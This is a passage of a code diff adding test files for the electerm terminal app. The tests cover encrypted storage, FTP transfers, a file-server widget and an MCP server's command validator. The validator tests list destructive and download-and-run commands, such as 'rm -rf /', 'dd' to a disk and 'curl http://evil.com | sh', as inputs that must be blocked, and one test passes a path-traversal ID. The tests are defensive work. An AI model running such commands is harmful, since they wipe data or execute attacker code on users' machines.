const inserted = await db.dbAction('bookmarks', 'insert', doc)
const found = await db.dbAction('bookmarks', 'findOne', { _id: inserted._id })
assert.equal(found.host, 'other.com')
})
test('update modifies data', async () => {
const doc = { host: 'update-me.com' }
const inserted = await db.dbAction('bookmarks', 'insert', doc)
await db.dbAction('bookmarks', 'update', { _id: inserted._id }, { $set: { host: 'updated.com' } })
const found = await db.dbAction('bookmarks', 'findOne', { _id: inserted._id })
assert.equal(found.host, 'updated.com')
})
test('remove deletes document', async () => {
const doc = { host: 'remove-me.com' }
const inserted = await db.dbAction('bookmarks', 'insert', doc)
const changes = await db.dbAction('bookmarks', 'remove', { _id: inserted._id })
assert.ok(changes >= 1)
const found = await db.dbAction('bookmarks', 'findOne', { _id: inserted._id })
assert.equal(found, null)
})
test('non-enc table (lastStates) stores data normally', async () => {
const doc = { key: 'value' }
const inserted = await db.dbAction('lastStates', 'insert', doc)
const found = await db.dbAction('lastStates', 'findOne', { _id: inserted._id })
assert.equal(found.key, 'value')
})
})
// --- with enc/dec ---
describe('with enc/dec', () => {
let db
let tmpDir
let dbFolder
before(() => {
tmpDir = makeTmpDir()
dbFolder = path.join(tmpDir, 'electerm', 'users', 'testuser')
db = createDb(tmpDir, 'testuser', encOpts)
})
after(() => {
fs.rmSync(tmpDir, { recursive: true, force: true })
})
test('inserted bookmarks data is encrypted on disk', async () => {
const doc = { host: 'secret.com', password: 'hunter2' }
const inserted = await db.dbAction('bookmarks', 'insert', doc)
assert.ok(inserted._id)
// Read raw sqlite file to confirm the value is not plain text
const dbPath = path.join(dbFolder, 'electerm.db')
const raw = fs.readFileSync(dbPath, 'latin1')
assert.ok(!raw.includes('hunter2'), 'raw db should NOT contain plaintext password')
assert.ok(!raw.includes('secret.com'), 'raw db should NOT contain plaintext host')
})
test('find returns decrypted data', async () => {
const results = await db.dbAction('bookmarks', 'find')
const found = results.find(r => r.host === 'secret.com')
assert.ok(found, 'should find the document with decrypted host')
assert.equal(found.password, 'hunter2')
})
test('findOne returns decrypted data', async () => {
const doc = { host: 'findone.com', user: 'alice' }
const inserted = await db.dbAction('bookmarks', 'insert', doc)
const found = await db.dbAction('bookmarks', 'findOne', { _id: inserted._id })
assert.equal(found.host, 'findone.com')
assert.equal(found.user, 'alice')
})
test('update encrypts new value and find decrypts it', async () => {
const doc = { host: 'todo-update.com' }
const inserted = await db.dbAction('bookmarks', 'insert', doc)
await db.dbAction('bookmarks', 'update', { _id: inserted._id }, { $set: { host: 'updated-enc.com' } })
const found = await db.dbAction('bookmarks', 'findOne', { _id: inserted._id })
assert.equal(found.host, 'updated-enc.com')
})
test('data table: only userConfig record is encrypted', async () => {
// userConfig should be encrypted
await db.dbAction('data', 'insert', { _id: 'userConfig', value: 'topSecret123' })
// other data record should NOT be encrypted
await db.dbAction('data', 'insert', { _id: 'version', value: '1.0.0' })
const dbPath = path.join(dbFolder, 'electerm_data.db')
const raw = fs.readFileSync(dbPath, 'latin1')
assert.ok(!raw.includes('topSecret123'), 'userConfig value should NOT be plaintext on disk')
assert.ok(raw.includes('1.0.0'), 'non-userConfig data should be plaintext on disk')
})
test('data find returns decrypted userConfig, plain others', async () => {
const results = await db.dbAction('data', 'find')
const uc = results.find(r => r._id === 'userConfig')
const ver = results.find(r => r._id === 'version')
assert.ok(uc, 'should find userConfig')
assert.equal(uc.value, 'topSecret123', 'userConfig value should be decrypted')
assert.ok(ver, 'should find version')
assert.equal(ver.value, '1.0.0', 'version value should be readable')
})
test('profiles table is encrypted', async () => {
const doc = { name: 'myProfile', secret: 'profileSecret' }
await db.dbAction('profiles', 'insert', doc)
const dbPath = path.join(dbFolder, 'electerm.db')
const raw = fs.readFileSync(dbPath, 'latin1')
assert.ok(!raw.includes('profileSecret'), 'profiles db should NOT contain plaintext secret')
})
test('non-enc table (quickCommands) is NOT encrypted', async () => {
const doc = { cmd: 'ls -la' }
await db.dbAction('quickCommands', 'insert', doc)
const dbPath = path.join(dbFolder, 'electerm.db')
const raw = fs.readFileSync(dbPath, 'latin1')
assert.ok(raw.includes('ls -la'), 'non-enc tables should store data as plaintext')
})
test('remove works on enc table', async () => {
const doc = { host: 'to-delete.com' }
const inserted = await db.dbAction('bookmarks', 'insert', doc)
const changes = await db.dbAction('bookmarks', 'remove', { _id: inserted._id })
assert.ok(changes >= 1)
const found = await db.dbAction('bookmarks', 'findOne', { _id: inserted._id })
assert.equal(found, null)
})
})
})
// ---------------------------------------------------------------------------
// nedb tests (works on all Node versions)
// ---------------------------------------------------------------------------
describe('nedb createDb', () => {
const { createDb } = require('../../src/app/lib/nedb')
// --- without enc/dec ---
describe('without enc/dec', () => {
let db
let tmpDir
before(() => {
tmpDir = makeTmpDir()
db = createDb(tmpDir, 'testuser')
})
after(() => {
fs.rmSync(tmpDir, { recursive: true, force: true })
})
test('insert and find returns original data', async () => {
const doc = { host: 'example.com', port: 22 }
const inserted = await db.dbAction('bookmarks', 'insert', doc)
assert.ok(inserted._id)
assert.equal(inserted.host, 'example.com')
const results = await db.dbAction('bookmarks', 'find', {})
assert.ok(results.some(r => r.host === 'example.com'))
})
test('findOne returns correct document', async () => {
const doc = { host: 'other.com' }
const inserted = await db.dbAction('bookmarks', 'insert', doc)
const found = await db.dbAction('bookmarks', 'findOne', { _id: inserted._id })
assert.equal(found.host, 'other.com')
})
test('update modifies data', async () => {
const doc = { host: 'update-me.com' }
const inserted = await db.dbAction('bookmarks', 'insert', doc)
await db.dbAction('bookmarks', 'update', { _id: inserted._id }, { $set: { host: 'updated.com' } })
const found = await db.dbAction('bookmarks', 'findOne', { _id: inserted._id })
assert.equal(found.host, 'updated.com')
})
test('remove deletes document', async () => {
const doc = { host: 'remove-me.com' }
const inserted = await db.dbAction('bookmarks', 'insert', doc)
await db.dbAction('bookmarks', 'remove', { _id: inserted._id })
const found = await db.dbAction('bookmarks', 'findOne', { _id: inserted._id })
assert.equal(found, null)
})
})
// --- with enc/dec ---
describe('with enc/dec', () => {
let db
let tmpDir
before(() => {
tmpDir = makeTmpDir()
db = createDb(tmpDir, 'testuser', encOpts)
})
after(() => {
fs.rmSync(tmpDir, { recursive: true, force: true })
})
test('inserted bookmarks data is encrypted on disk', async () => {
const doc = { host: 'secret.com', password: 'hunter2' }
const inserted = await db.dbAction('bookmarks', 'insert', doc)
assert.ok(inserted._id)
// Read raw nedb file to confirm the value is not plain text
const nedbPath = path.join(
tmpDir, 'electerm', 'users', 'testuser', 'electerm.bookmarks.nedb'
)
const raw = fs.readFileSync(nedbPath, 'utf8')
assert.ok(!raw.includes('hunter2'), 'nedb file should NOT contain plaintext password')
assert.ok(!raw.includes('secret.com'), 'nedb file should NOT contain plaintext host')
})
test('find returns decrypted data', async () => {
const results = await db.dbAction('bookmarks', 'find', {})
const found = results.find(r => r.host === 'secret.com')
assert.ok(found, 'should find the document with decrypted host')
assert.equal(found.password, 'hunter2')
})
test('findOne returns decrypted data', async () => {
const doc = { host: 'findone.com', user: 'bob' }
const inserted = await db.dbAction('bookmarks', 'insert', doc)
const found = await db.dbAction('bookmarks', 'findOne', { _id: inserted._id })
assert.equal(found.host, 'findone.com')
assert.equal(found.user, 'bob')
})
test('update encrypts new value and find decrypts it', async () => {
const doc = { host: 'todo-update.com' }
const inserted = await db.dbAction('bookmarks', 'insert', doc)
await db.dbAction('bookmarks', 'update', { _id: inserted._id }, { $set: { host: 'updated-enc.com' } })
const found = await db.dbAction('bookmarks', 'findOne', { _id: inserted._id })
assert.equal(found.host, 'updated-enc.com')
})
test('data table: only userConfig record is encrypted', async () => {
await db.dbAction('data', 'insert', { _id: 'userConfig', secret: 'mySecret' })
await db.dbAction('data', 'insert', { _id: 'version', value: '1.0.0' })
const nedbPath = path.join(
tmpDir, 'electerm', 'users', 'testuser', 'electerm.data.nedb'
)
const raw = fs.readFileSync(nedbPath, 'utf8')
assert.ok(!raw.includes('mySecret'), 'userConfig secret should NOT be plaintext in nedb')
assert.ok(raw.includes('1.0.0'), 'non-userConfig data should be plaintext in nedb')
})
test('data find returns decrypted userConfig, plain others', async () => {
const results = await db.dbAction('data', 'find', {})
const uc = results.find(r => r._id === 'userConfig')
const ver = results.find(r => r._id === 'version')
assert.ok(uc, 'should find userConfig')
assert.equal(uc.secret, 'mySecret', 'userConfig secret should be decrypted')
assert.ok(ver, 'should find version')
assert.equal(ver.value, '1.0.0', 'version value should be readable')
})
test('profiles table is encrypted', async () => {
const doc = { name: 'myProfile', secret: 'profileSecret' }
await db.dbAction('profiles', 'insert', doc)
const nedbPath = path.join(
tmpDir, 'electerm', 'users', 'testuser', 'electerm.profiles.nedb'
)
const raw = fs.readFileSync(nedbPath, 'utf8')
assert.ok(!raw.includes('profileSecret'), 'profiles nedb should NOT contain plaintext secret')
})
test('non-enc table (quickCommands) is NOT encrypted', async () => {
const doc = { cmd: 'echo hello' }
await db.dbAction('quickCommands', 'insert', doc)
const nedbPath = path.join(
tmpDir, 'electerm', 'users', 'testuser', 'electerm.quickCommands.nedb'
)
const raw = fs.readFileSync(nedbPath, 'utf8')
assert.ok(raw.includes('echo hello'), 'non-enc tables should store data as plaintext')
})
test('remove works on enc table', async () => {
const doc = { host: 'to-delete.com' }
const inserted = await db.dbAction('bookmarks', 'insert', doc)
await db.dbAction('bookmarks', 'remove', { _id: inserted._id })
const found = await db.dbAction('bookmarks', 'findOne', { _id: inserted._id })
assert.equal(found, null)
})
})
})
+17
View File
@@ -0,0 +1,17 @@
const { enc, dec } = require('../../src/app/common/pass-enc')
const {
test: it, expect
} = require('@playwright/test')
const { describe } = it
it.setTimeout(100000)
describe('enc/dec funcs', function () {
it('dec/dec', async function () {
const rr = 'AZaz/.,;sd7s87dfds#2342834_+=-!@$%^&*()'
const r = enc(rr)
console.log(r)
const r2 = dec(r)
console.log(r2)
expect(r2).equal(rr)
})
})
+158
View File
@@ -0,0 +1,158 @@
// ftp-transfer.spec.js
const { test, expect } = require('@playwright/test')
const { spawn } = require('child_process')
const path = require('path')
const fs = require('fs')
const { Transfer } = require('../../src/app/server/ftp-transfer')
const { Ftp } = require('../../src/app/server/session-ftp')
test.describe('FtpTransfer Class', () => {
let ftpServer
let ftp
test.beforeAll(async () => {
// Start the FTP test server
const serverPath = path.join(__dirname, '../e2e/common/ftp.js')
ftpServer = spawn('node', [serverPath])
await new Promise((resolve, reject) => {
const timeout = setTimeout(() => {
reject(new Error('FTP server start timeout'))
}, 5000)
ftpServer.stdout.on('data', (data) => {
if (data.toString().includes('FTP server is running at port 21')) {
clearTimeout(timeout)
resolve()
}
})
})
})
test.afterAll(async () => {
ftpServer.kill()
await new Promise((resolve) => ftpServer.on('close', resolve))
})
test.beforeEach(async () => {
const initOptions = {
host: 'localhost',
port: 21,
user: 'test',
password: 'test123'
}
ftp = new Ftp(initOptions)
await ftp.connect(initOptions)
})
test.afterEach(() => {
if (ftp) {
ftp.kill()
}
})
test('should handle file transfer events', async () => {
const localPath = path.join(__dirname, 'test-upload.txt')
const remotePath = '/test-upload.txt'
const testContent = 'x'.repeat(1024 * 1024) // 1MB file
let dataEventCalled = false
let endEventCalled = false
await fs.promises.writeFile(localPath, testContent)
const transfer = new Transfer({
remotePath,
localPath,
type: 'upload',
sftp: ftp.client,
sftpId: '1',
sessionId: '1',
id: '1',
options: {
ftp: true
},
ws: {
s: (event) => {
if (event.id.startsWith('transfer:data:')) {
dataEventCalled = true
}
if (event.id.startsWith('transfer:end:')) {
endEventCalled = true
}
},
close: () => {}
}
})
console.log('transfer', transfer)
await transfer.start()
await new Promise(resolve => setTimeout(resolve, 1000))
expect(dataEventCalled).toBe(true)
expect(endEventCalled).toBe(true)
await ftp.rm(remotePath)
await fs.promises.unlink(localPath)
})
test('should pause and resume transfer', async () => {
const transfer = new Transfer({
remotePath: '/test.txt',
localPath: 'test.txt',
type: 'upload',
sftp: ftp.client,
id: '1',
ws: {
s: () => {},
close: () => {}
}
})
transfer.pause()
expect(transfer.pausing).toBe(true)
transfer.resume()
expect(transfer.pausing).toBe(false)
})
test('should properly destroy transfer', async () => {
const transfer = new Transfer({
remotePath: '/test.txt',
localPath: 'test.txt',
type: 'upload',
sftp: ftp.client,
id: '1',
ws: {
s: () => {},
close: () => {}
}
})
transfer.destroy()
await new Promise(resolve => setTimeout(resolve, 300))
expect(transfer.onDestroy).toBe(true)
expect(transfer.src).toBe(null)
expect(transfer.dst).toBe(null)
expect(transfer.ftpClient).toBe(null)
})
test('should handle transfer errors', async () => {
let errorCalled = false
const transfer = new Transfer({
remotePath: '/nonexistent/path/test.txt',
localPath: 'test.txt',
type: 'upload',
sftp: ftp.client,
id: '1',
ws: {
s: (event) => {
if (event.id.startsWith('transfer:err:')) {
errorCalled = true
}
},
close: () => {}
}
})
await transfer.start()
await new Promise(resolve => setTimeout(resolve, 1000))
expect(errorCalled).toBe(true)
})
})
+131
View File
@@ -0,0 +1,131 @@
const { test, expect } = require('@playwright/test')
const { Ftp } = require('../../src/app/server/session-ftp')
const { spawn } = require('child_process')
const path = require('path')
let ftpServer
test.describe('Ftp Class', () => {
test.beforeAll(async () => {
// Start the FTP test server
const serverPath = path.join(__dirname, '../e2e/common/ftp.js')
ftpServer = spawn('node', [serverPath])
await new Promise((resolve, reject) => {
const timeout = setTimeout(() => {
reject(new Error('FTP server start timeout'))
}, 5000)
ftpServer.stdout.on('data', (data) => {
if (data.toString().includes('FTP server is running at port 21')) {
clearTimeout(timeout)
resolve()
}
})
ftpServer.stderr.on('data', (data) => {
console.error(`FTP server error: ${data}`)
})
})
}, { timeout: 10000 }) // Increase timeout to 10 seconds
test.afterAll(async () => {
// Stop the FTP test server
ftpServer.kill()
await new Promise((resolve) => ftpServer.on('close', resolve))
})
let ftp
test.beforeEach(async () => {
const initOptions = {
host: 'localhost',
port: 21,
user: 'test',
password: 'test123'
}
ftp = new Ftp(initOptions)
await ftp.connect(initOptions)
})
test.afterEach(() => {
if (ftp) {
ftp.kill()
}
})
test('should connect to FTP server', async () => {
expect(ftp.client).toBeTruthy()
})
test('should get home directory', async () => {
const homeDir = await ftp.getHomeDir()
expect(typeof homeDir).toBe('string')
})
test('should create and remove a directory', async () => {
const testDir = '/test-dir'
await ftp.mkdir(testDir)
let list = await ftp.list('/')
expect(list.some(item => item.name === 'test-dir')).toBeTruthy()
await ftp.rmdir(testDir)
list = await ftp.list('/')
expect(list.some(item => item.name === 'test-dir')).toBeFalsy()
})
test('should create and remove a file', async () => {
const testFile = '/test-file.txt'
await ftp.touch(testFile)
let list = await ftp.list('/')
expect(list.some(item => item.name === 'test-file.txt')).toBeTruthy()
await ftp.rm(testFile)
list = await ftp.list('/')
expect(list.some(item => item.name === 'test-file.txt')).toBeFalsy()
})
test('should write and read a file', async () => {
const testFile = '/test-file.txt'
const testContent = 'Hello, FTP!'
console.log('Starting write operation')
await ftp.writeFile(testFile, testContent)
console.log('Write operation completed')
console.log('Starting read operation')
const content = await ftp.readFile(testFile)
console.log('Read operation completed')
expect(content.toString()).toBe(testContent)
console.log('Starting delete operation')
await ftp.rm(testFile)
console.log('Delete operation completed')
})
test('should rename a file', async () => {
const oldName = '/old-file.txt'
const newName = '/new-file.txt'
await ftp.touch(oldName)
await ftp.rename(oldName, newName)
const list = await ftp.list('/')
expect(list.some(item => item.name === 'new-file.txt')).toBeTruthy()
expect(list.some(item => item.name === 'old-file.txt')).toBeFalsy()
await ftp.rm(newName)
})
test('should get file stats', async () => {
const testFile = '/test-file.txt'
await ftp.touch(testFile)
const stats = await ftp.stat(testFile)
expect(stats).toHaveProperty('size')
expect(stats).toHaveProperty('modifyTime')
expect(stats).toHaveProperty('isDirectory')
await ftp.rm(testFile)
})
})
+42
View File
@@ -0,0 +1,42 @@
const {
test: it, expect
} = require('@playwright/test')
const { describe } = it
it.setTimeout(100000)
function isValidIP (input) {
// Check IPv4 format
const ipv4Pattern = /^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/
if (ipv4Pattern.test(input)) {
return true
}
// Check IPv6 format
const ipv6Pattern = /^([\da-f]{1,4}:){7}[\da-f]{1,4}$/i
if (ipv6Pattern.test(input)) {
return true
}
// If input doesn't match IPv4 or IPv6 patterns, it's not a valid IP
return false
}
describe('isValidIP', () => {
it('should return true for valid IPv4 addresses', () => {
expect(isValidIP('192.168.0.1')).toBe(true)
expect(isValidIP('10.0.0.1')).toBe(true)
expect(isValidIP('172.16.0.1')).toBe(true)
})
it('should return true for valid IPv6 addresses', () => {
expect(isValidIP('2001:0db8:85a3:0000:0000:8a2e:0370:7334')).toBe(true)
expect(isValidIP('2001:db8:85a3:0:0:8a2e:370:7334')).toBe(true)
expect(isValidIP('2001:db8:85a3::8a2e:370:7334')).toBe(true)
})
it('should return false for invalid IP addresses', () => {
expect(isValidIP('192.168.0.256')).toBe(false)
expect(isValidIP('2001:db8:85a3:0:0:8a2e:370g:7334')).toBe(false)
expect(isValidIP('not-an-ip-address')).toBe(false)
})
})
+213
View File
@@ -0,0 +1,213 @@
const {
test: it, expect
} = require('@playwright/test')
const { describe } = it
const { listWidgets, runWidget, stopWidget } = require('../../src/app/widgets/load-widget')
const os = require('os')
const path = require('path')
const fs = require('fs/promises')
const axios = require('axios')
it.setTimeout(100000)
describe('load-widget', function () {
let serverInstance = null
let testDir = null
let serverUrl = null
// Helper to create test files
async function createTestFiles () {
testDir = path.join(os.tmpdir(), 'electerm-test-' + Date.now())
await fs.mkdir(testDir)
// Create a test index.html
const htmlContent = `
<!DOCTYPE html>
<html>
<head>
<title>
Test Page
</title>
</head>
<body>
<h1>
Hello from Electerm Test
</h1>
<p>
This is a test page served by local-file-server widget.
</p>
<p>
Timestamp: ${new Date().toISOString()}
</p>
</body>
</html>
`
await fs.writeFile(path.join(testDir, 'index.html'), htmlContent)
}
// Cleanup helper
async function cleanup () {
if (serverInstance) {
await stopWidget(serverInstance)
serverInstance = null
}
if (testDir) {
try {
await fs.rm(testDir, { recursive: true, force: true })
} catch (err) {
console.error('Cleanup error:', err)
}
}
}
// Setup before tests
it.beforeEach(async () => {
await createTestFiles()
})
// Cleanup after tests
it.afterEach(async () => {
await cleanup()
})
// Test listWidgets function
it('listWidgets should list available widgets', async function () {
const widgets = listWidgets()
console.log(widgets)
expect(Array.isArray(widgets)).toBe(true)
expect(widgets.length).toBeGreaterThan(0)
const fileServer = widgets.find(w => w.id === 'local-file-server')
expect(fileServer).toBeTruthy()
})
// Test runWidget function with file serving
it('should run local-file-server widget and serve files', async function () {
const config = {
directory: testDir,
port: 3457,
host: '127.0.0.1',
maxAge: 365 * 24 * 60 * 60 * 1000,
cacheControl: true,
lastModified: true,
etag: true,
dotfiles: 'allow',
redirect: true,
acceptRanges: true,
index: 'index.html'
}
try {
const result = await runWidget('local-file-server', config)
expect(result).toBeTruthy()
expect(result.instanceId).toBeTruthy()
expect(result.serverInfo).toBeTruthy()
expect(result.serverInfo.url).toBe(`http://${config.host}:${config.port}`)
expect(result.serverInfo.path).toBe(config.directory)
serverInstance = result.instanceId
serverUrl = result.serverInfo.url
// Test file serving
const response = await axios.get(serverUrl)
expect(response.status).toBe(200)
expect(response.headers['content-type']).toMatch(/text\/html/)
expect(response.data).toContain('Hello from Electerm Test')
// Test caching headers
expect(response.headers['cache-control']).toBeTruthy()
expect(response.headers.etag).toBeTruthy()
expect(response.headers['last-modified']).toBeTruthy()
// Test non-existent file
try {
await axios.get(`${serverUrl}/non-existent.html`)
throw new Error('Should have thrown 404')
} catch (err) {
expect(err.response.status).toBe(404)
}
} catch (err) {
console.log('run widget error:', err)
throw err
}
})
// Test directory listing (if enabled)
it('should handle directory requests properly', async function () {
if (!serverInstance || !serverUrl) {
const config = {
directory: testDir,
port: 3457,
host: '127.0.0.1',
maxAge: 365 * 24 * 60 * 60 * 1000,
cacheControl: true,
lastModified: true,
etag: true,
dotfiles: 'allow',
redirect: true,
acceptRanges: true,
index: 'index.html'
}
const result = await runWidget('local-file-server', config)
serverInstance = result.instanceId
serverUrl = result.serverInfo.url
}
// Create a subdirectory with a file
const subDir = path.join(testDir, 'subdir')
await fs.mkdir(subDir)
await fs.writeFile(path.join(subDir, 'index.html'), 'Test content')
// Test directory redirect (should redirect to index.html)
const response = await axios.get(`${serverUrl}/subdir/`)
expect(response.status).toBe(200)
})
// Test stopWidget function
it('should stop running widget', async function () {
if (!serverInstance) {
console.log('No server instance to stop')
return
}
const result = await stopWidget(serverInstance)
expect(result).toBeTruthy()
expect(result.instanceId).toBe(serverInstance)
expect(result.status).toBe('stopped')
// Verify server is actually stopped
try {
await axios.get(serverUrl)
throw new Error('Server should be stopped')
} catch (err) {
expect(err.code).toBe('ECONNREFUSED')
}
})
// Test error cases
it('should handle stopping non-existent widget', async function () {
const result = await stopWidget('non-existent-id')
expect(result).toBeUndefined()
})
it('should handle invalid widget ID', async function () {
try {
await runWidget('non-existent-widget', {})
throw new Error('Should have thrown an error')
} catch (error) {
expect(error).toBeTruthy()
}
})
it('should reject traversed widget IDs', async function () {
try {
await runWidget('../../../../../tmp/evil', {})
throw new Error('Should have thrown an error')
} catch (error) {
expect(error.message).toContain('Invalid widget ID')
}
})
})
+629
View File
@@ -0,0 +1,629 @@
/**
* Unit tests for src/app/widgets/widget-mcp-server.js
*
* Electron and glob-state are mocked so no real Electron process is needed.
* Two layers of coverage:
* 1. validateCommand() logic pure unit, no network
* 2. HTTP server lifecycle and blacklist enforcement spins up a real
* express server on a test port and drives it with axios, just like
* mcp.spec.js, but without an Electron app running.
*/
const { test, describe, before, after } = require('node:test')
const assert = require('assert/strict')
const axios = require('axios')
const Module = require('module')
// ── Electron mock ─────────────────────────────────────────────────────────────
// Capture the ipcMain 'mcp-response' handler so the mock win can call it back.
let capturedIpcHandler = null
const mockIpcMain = {
on (channel, fn) {
if (channel === 'mcp-response') capturedIpcHandler = fn
},
removeListener (channel, fn) {
if (channel === 'mcp-response') capturedIpcHandler = null
}
}
// ── Mock renderer (win) ───────────────────────────────────────────────────────
// Every mcp-request is acknowledged immediately with { mocked: true }.
// This lets tools that reach sendToRenderer() resolve without a real renderer.
const mockWin = {
webContents: {
send (channel, payload) {
if (channel !== 'mcp-request' || !capturedIpcHandler) return
setImmediate(() => {
capturedIpcHandler({}, { requestId: payload.requestId, result: { mocked: true } })
})
}
}
}
const mockGlobState = {
get (key) { return key === 'win' ? mockWin : null },
set () {}
}
// ── Intercept require() before loading the widget ─────────────────────────────
const originalLoad = Module._load.bind(Module)
Module._load = function (request, parent, isMain) {
if (request === 'electron') return { ipcMain: mockIpcMain }
if (request.includes('glob-state')) return mockGlobState
return originalLoad(request, parent, isMain)
}
const {
widgetInfo,
widgetRun,
_ElectermMCPServer: ElectermMCPServer
} = require('../../src/app/widgets/widget-mcp-server')
Module._load = originalLoad // restore normal require
// ── SSE helper (mirrors mcp.spec.js) ─────────────────────────────────────────
function parseSseBody (body) {
const dataLine = (typeof body === 'string' ? body : JSON.stringify(body))
.split('\n').find(l => l.startsWith('data: '))
if (!dataLine) return null
return JSON.parse(dataLine.slice(6))
}
async function mcpPost (port, body, sid) {
const headers = {
'Content-Type': 'application/json',
Accept: 'application/json, text/event-stream'
}
if (sid) headers['mcp-session-id'] = sid
const res = await axios.post(`http://127.0.0.1:${port}/mcp`, body, { headers })
return { status: res.status, headers: res.headers, data: parseSseBody(res.data) }
}
async function initSession (port) {
const res = await mcpPost(port, {
jsonrpc: '2.0',
id: 1,
method: 'initialize',
params: { protocolVersion: '2024-11-05', capabilities: {}, clientInfo: { name: 'test', version: '1' } }
})
return res.headers['mcp-session-id']
}
async function callTool (port, sid, toolName, args) {
return mcpPost(port, {
jsonrpc: '2.0',
id: 99,
method: 'tools/call',
params: { name: toolName, arguments: args }
}, sid)
}
// ─────────────────────────────────────────────────────────────────────────────
// 1. widgetInfo shape
// ─────────────────────────────────────────────────────────────────────────────
describe('widgetInfo', () => {
test('has required metadata fields', () => {
assert.equal(widgetInfo.name, 'MCP Server')
assert.equal(widgetInfo.type, 'instance')
assert.equal(typeof widgetInfo.version, 'string')
assert.ok(Array.isArray(widgetInfo.configs))
})
test('commandBlacklist config has type textarea and empty default', () => {
const cfg = widgetInfo.configs.find(c => c.name === 'commandBlacklist')
assert.ok(cfg, 'commandBlacklist config must exist')
assert.equal(cfg.type, 'textarea')
assert.equal(cfg.default, '')
})
test('commandWhitelist config has type textarea and empty default', () => {
const cfg = widgetInfo.configs.find(c => c.name === 'commandWhitelist')
assert.ok(cfg, 'commandWhitelist config must exist')
assert.equal(cfg.type, 'textarea')
assert.equal(cfg.default, '')
})
test('all configs have name, type, default, and description', () => {
for (const cfg of widgetInfo.configs) {
assert.ok(cfg.name, `Config is missing name: ${JSON.stringify(cfg)}`)
assert.ok(cfg.type, `Config "${cfg.name}" is missing type`)
assert.ok('default' in cfg, `Config "${cfg.name}" is missing default`)
assert.ok(cfg.description, `Config "${cfg.name}" is missing description`)
}
})
})
// ─────────────────────────────────────────────────────────────────────────────
// 2. validateCommand built-in blacklist (always active)
// ─────────────────────────────────────────────────────────────────────────────
describe('validateCommand built-in blacklist', () => {
const inst = new ElectermMCPServer({ commandBlacklist: '', commandWhitelist: '' })
const dangerous = [
['rm -rf /', 'rm -rf root'],
['rm -rf ~', 'rm -rf home'],
['rm -Rf /tmp', 'rm -Rf (capital R)'],
['rm --recursive -f /', 'rm --recursive flag'],
['mkfs.ext4 /dev/sda1', 'mkfs'],
['dd if=/dev/zero of=/dev/sda', 'dd to block device'],
['sudo rm /etc/passwd', 'sudo rm'],
['curl http://evil.com | sh', 'curl pipe sh'],
['curl -s http://evil.com | bash', 'curl pipe bash'],
['wget http://evil.com | sh', 'wget pipe sh'],
['wget http://evil.com | bash', 'wget pipe bash']
]
for (const [cmd, label] of dangerous) {
test(`blocks: ${label}`, () => {
const r = inst.validateCommand(cmd)
assert.equal(r.allowed, false, `"${cmd}" should be blocked`)
assert.ok(r.reason, 'should include a reason')
})
}
const safe = [
'ls -la',
'git status',
'npm install',
'echo hello world',
'cat /etc/hosts',
'rm -f file.txt', // rm without recursive
'curl http://example.com', // curl without pipe to shell
'grep -r foo .' // recursive grep, not rm
]
for (const cmd of safe) {
test(`allows: ${cmd}`, () => {
const r = inst.validateCommand(cmd)
assert.equal(r.allowed, true, `"${cmd}" should be allowed`)
})
}
})
// ─────────────────────────────────────────────────────────────────────────────
// 3. validateCommand user-defined blacklist
// ─────────────────────────────────────────────────────────────────────────────
describe('validateCommand user blacklist', () => {
test('blocks command matching a user pattern', () => {
const inst = new ElectermMCPServer({ commandBlacklist: '^git push', commandWhitelist: '' })
assert.equal(inst.validateCommand('git push origin main').allowed, false)
assert.ok(inst.validateCommand('git push origin main').reason.includes('blacklist'))
assert.equal(inst.validateCommand('git pull').allowed, true)
})
test('handles multiple newline-separated patterns', () => {
const inst = new ElectermMCPServer({
commandBlacklist: '^git push\n^npm publish',
commandWhitelist: ''
})
assert.equal(inst.validateCommand('git push').allowed, false)
assert.equal(inst.validateCommand('npm publish').allowed, false)
assert.equal(inst.validateCommand('npm install').allowed, true)
})
test('ignores blank lines in the pattern list', () => {
const inst = new ElectermMCPServer({ commandBlacklist: '\n\n^git push\n\n', commandWhitelist: '' })
assert.equal(inst.validateCommand('git push').allowed, false)
assert.equal(inst.validateCommand('git pull').allowed, true)
})
test('silently ignores invalid regex patterns', () => {
const inst = new ElectermMCPServer({ commandBlacklist: '[invalid(regex', commandWhitelist: '' })
assert.doesNotThrow(() => inst.validateCommand('anything'))
})
})
// ─────────────────────────────────────────────────────────────────────────────
// 4. validateCommand user-defined whitelist
// ─────────────────────────────────────────────────────────────────────────────
describe('validateCommand user whitelist', () => {
test('only allows commands matching a whitelist pattern', () => {
const inst = new ElectermMCPServer({
commandBlacklist: '',
commandWhitelist: '^(ls|git status|echo)'
})
assert.equal(inst.validateCommand('ls -la').allowed, true)
assert.equal(inst.validateCommand('git status').allowed, true)
assert.equal(inst.validateCommand('echo hello').allowed, true)
assert.equal(inst.validateCommand('rm file.txt').allowed, false)
assert.equal(inst.validateCommand('npm install').allowed, false)
})
test('whitelist is inactive when empty', () => {
const inst = new ElectermMCPServer({ commandBlacklist: '', commandWhitelist: '' })
assert.equal(inst.validateCommand('npm install').allowed, true)
assert.equal(inst.validateCommand('any-command').allowed, true)
})
test('whitelist=.* still blocked by built-in blacklist', () => {
// Whitelist that matches everything must not override the built-in rules
const inst = new ElectermMCPServer({ commandBlacklist: '', commandWhitelist: '.*' })
assert.equal(inst.validateCommand('rm -rf /').allowed, false)
assert.equal(inst.validateCommand('ls').allowed, true)
})
test('silently ignores invalid regex in whitelist', () => {
const inst = new ElectermMCPServer({ commandBlacklist: '', commandWhitelist: '[broken(' })
assert.doesNotThrow(() => inst.validateCommand('ls'))
// Command should be blocked because no valid pattern matched
assert.equal(inst.validateCommand('ls').allowed, false)
})
test('whitelist + user blacklist: blacklist wins', () => {
const inst = new ElectermMCPServer({
commandBlacklist: '^forbidden',
commandWhitelist: '^forbidden' // also whitelisted
})
// Blacklist is checked first, so it should be blocked
assert.equal(inst.validateCommand('forbidden-cmd').allowed, false)
})
})
// ─────────────────────────────────────────────────────────────────────────────
// 5. Server lifecycle
// ─────────────────────────────────────────────────────────────────────────────
describe('server lifecycle', () => {
const PORT = 30841
let instance = null
before(async () => {
instance = widgetRun({ host: '127.0.0.1', port: PORT })
await instance.start()
})
after(async () => {
if (instance) await instance.stop()
})
test('CORS preflight returns 204 with correct headers', async () => {
const res = await axios.options(`http://127.0.0.1:${PORT}/mcp`)
assert.equal(res.status, 204)
assert.equal(res.headers['access-control-allow-origin'], undefined)
assert.ok(res.headers['access-control-allow-methods'].includes('POST'))
